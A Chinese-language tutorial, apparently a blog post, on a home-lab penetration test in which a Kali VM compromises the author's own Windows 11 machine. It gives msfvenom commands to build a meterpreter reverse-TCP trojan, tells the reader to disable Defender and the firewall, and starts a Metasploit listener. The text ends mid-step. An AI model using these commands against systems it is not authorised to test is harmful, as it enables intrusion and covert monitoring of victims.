kali系统入侵电脑windows（win11系统）渗透测试，骇入电脑教学

本次渗透测试将使用kali虚拟机（攻击机）对本机（靶机）进行入侵并监控屏幕

声明：本篇仅仅是将本机作为靶机的一次简易渗透测试，实际情况中基本不可能出现如此简单的木马骇入（往往在上传木马时就被防护功能进行查杀了），况且——任何骇入他人设备的操作都是违法行为，因此仅用作经验分享供学习。

一，确认相关设置

①VMware菜单栏中选择【虚拟机(M)】->【设置(S)】->在网络适配器中确认开启NAT模式

②控制面板中选择【查看网络状态和任务】->【更改设配器设置】

->找到VMnet8网卡，右键【属性】->在属性栏中找到【VMware Bridge Protocol】打开桥接模式，使主机和虚拟机能够互连

③按如下步骤关闭【病毒和威胁防护】与【防火墙和网络保护】，这一步是为了保证待会儿我们上传给本机（靶机）的“小木马”不会被这些强力防护阻拦与清除

进行此步操作请确保本机没有被入侵的风险，笔者写本篇的目的仅为提供经验，

如若出现任何损失，概不负责！

二，创建木马与上传木马

①打开kali虚拟机，打开终端，输入命令【ifconfig】（注意是if不是ip！）查看虚拟机（攻击机）的ip地址

②输入以下命令，生成木马文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.xx.xxx LPORT=9999 -f exe > test.exe

注————

蓝色部分是上一步查看到的虚拟机（攻击机）的ip地址，请自行查询并修改；

紫色部分是用于监听本机（靶机）的端口，任意选择一个不被占用的端口即可；

绿色部分是本次生成的木马文件的名字，任意设置；

（代码块用于快速复制命令：）

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.xx.xxx LPORT=9999 -f exe > test.exe

出现如下回显说明成功，且在执行命令的工作目录下生成文件，这里我是在桌面目录即【~/Desktop】执行的命令，因此文件直接生成在了桌面上，读者可自行选择目录执行命令

③上传木马到本机（靶机）上，直接采用最直接的拖动法完成上传...

进行这一步时请确保标题一中相关设置的第③步，否则木马文件会被阻拦或清除！

三，执行命令以监听本机（靶机）

①在kali终端中依次输入以下命令：

msfconsole

use exploit/multi/handler

windows/meterpreter/reverse_tcp

set lhost 192.168.xx.xxx

set lport 9999

exploit

注————

蓝色部分是虚拟机（攻击机）的ip地址，请自行查询并修改；

紫色部分是用于监听本机（靶机）的端口，需要确保和标题二中创建木马时输入的端口相同